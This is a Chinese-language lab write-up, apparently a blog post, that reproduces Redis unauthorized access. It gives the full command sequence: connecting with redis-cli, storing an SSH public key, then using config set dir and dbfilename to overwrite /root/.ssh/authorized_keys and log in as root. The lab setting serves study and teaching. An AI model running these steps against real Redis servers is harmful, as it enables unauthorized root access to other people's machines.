redis未授权访问

本文详细介绍了如何通过Redis未授权访问的漏洞,设置配置并写入SSH公钥,最终实现对目标机器的远程免密登录。步骤包括Redis的安装与配置修改,漏洞复现,以及利用过程中的问题解决,如修改Redis配置以允许更改dir和dbfilename。最终成功利用漏洞获取了目标机器的root权限。
摘要由CSDN通过智能技术生成

出处:http://jiahuan.cc/post/4
因不同编辑器和样式原因,可能导致部分不太美观,建议源网页阅读

实验环境

机器IP
ubuntu20.4(受害者)192.168.105.129
kali192.168.105.1

环境搭建

redis 安装

下载地址:https://github.com/redis/redis/archive/7.0.2.tar.gz

# 老规矩,解压移动到 /usr/local/src/下
tar -zxvf redis-7.0.2.tar.gz
sudo mv redis-7.0.2 /usr/local/src/redis

直接make就可以

sudo make

下图为成功安装后提示:

defalut.png

redis配置

注释87行,允许除本地外的主机远程登录 redis 服务

defalut.png

修改111行,将yes改为no,关闭保护模式,允许远程连接 redis 服务

defalut.png

#bind 127.0.0.1 -::1
protected-mode no

启动redis

进入redis目录下的src目录,执行 redis-server (利用刚刚编辑的配置文件启动)

./redis-server ../redis.conf

defalut.png

漏洞复现

nmap扫描

defalut.png

远程连接

kali需要先下载redis命令行工具,下载redis-tools

sudo apt install redis-tools

之后直接使用redis-cli 连接受害者(192.168.105.129)

redis-cli -h 192.168.105.129

连接成功后测试一下,随便输几个命令尝试一下,如下正常,未授权访问成功!

defalut.png

漏洞利用

目的:在受害者服务器写入ssh公钥,可以是我们免密登录,进行进一步利用

知识准备

一、redis-cli -x 命令

网上看到的解释有点云里雾里,但大致意思是将获得的数据赋值给-x 后面的参数,如下:

echo 1.txt|redis-cli -x set name

解读上面一句话,将1.txt的内容赋值给redis的name变量,当然这个变量也会保存到数据库

二、需要利用以下两个配置文件中的键值对:

defalut.png

数据库文件将会放在 dir/dbfilename 文件中

dir 默认是安装目录,受害者的安装目录是 /usr/local/src/redis

dbfilename 默认 dump.rdb

三、config是在redis运行时配置 Redis 服务器的命令,而不必,每次改配置文件,可以在运行时给上述 dir 等赋值

利用

当前是无法登录的(不知道密码)

defalut.png

一、生成自己ssh密钥

ssh-keygen

defalut.png

由上面可以看到在自己home目录会生成.ssh文件夹,.ssh文件夹内有以下两个文件

defalut.png

二、写入公钥到受害者服务器

为保证私钥的写入是正确的,我们先构造1.txt 格式如下:换行 私钥 换行

因为需要免密登录核心文件authorized_keys中的多个私钥就是以这种形式排列的

echo -e "\n`cat .ssh/id_rsa.pub`\n">1.txt 

defalut.png

下面一步就不多解释了

cat  1.txt|redis-cli -h 192.168.105.129 -x set clay

defalut.png

我们的私钥到现在已经成功写入到数据库了,但还无法免密登录,因为每次登录时都需要访问用户目录下的.ssh文件下的 authorized_keys 接下来我们要构造这个

三、构造 /root./.ssh/authorized_keys

数据是保存在dump.rdb文件中,而这个文件是保存在 dir目录下,如果我们把dir目录改变成 /root/.ssh ,dump.rdb文件重命名成authorized_keys,就完美解决了。

没错,利用config命令,给 dir 和 dbfilename重新赋值,以达到目的

先登陆一下,查看这两个变量的值

defalut.png

发现怎么改都不好使,一直报错,提示信息是受保护的配置不能更改

defalut.png

网上找了挺多资源,都没有办法解决,然后在配置文件中遨游了一段时间看到一个特殊的配置:(下图已修改完)

defalut.png

到132行,将注释改掉,将no改为yes,所以发现高版本默认是CONFIG SET修改不了dir和dbfilename配置。

#现在按照原先计划修改:
#dir 修改为 /root/.ssh/
#dbfilename 修改为 authorized_keys

#注意不要再行尾加分号等,会报错,下图中 dbfilename 值 后面有分号,是错误的!
config set dir /root/.ssh
config set dbfilename authorized_keys

defalut.png

不要忘了保存和退出

defalut.png

四、ssh免密连接

#当然直接 ssh root@192.168.105.129 连接也可以
ssh -i .ssh/id_rsa root@192.168.105.129

defalut.png

可以看到拿到受害者服务器 192.168.105.129 root权限,下图受害者机器root目录

defalut.png

期间有很多的坑,毕竟是复现,每个漏洞的形成都需要一定的条件,像redis未授权访问,需要开启很多配置文件,局限性还是蛮高,自己遇到的所有问题都已经再上面写了,如果有错误或者补充请联系博主。

[全文结]

参考链接

关于redis配置文件详解:http://t.csdn.cn/5sTKn

关于redis未授权访问参考:https://www.freebuf.com/vuls/162035.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值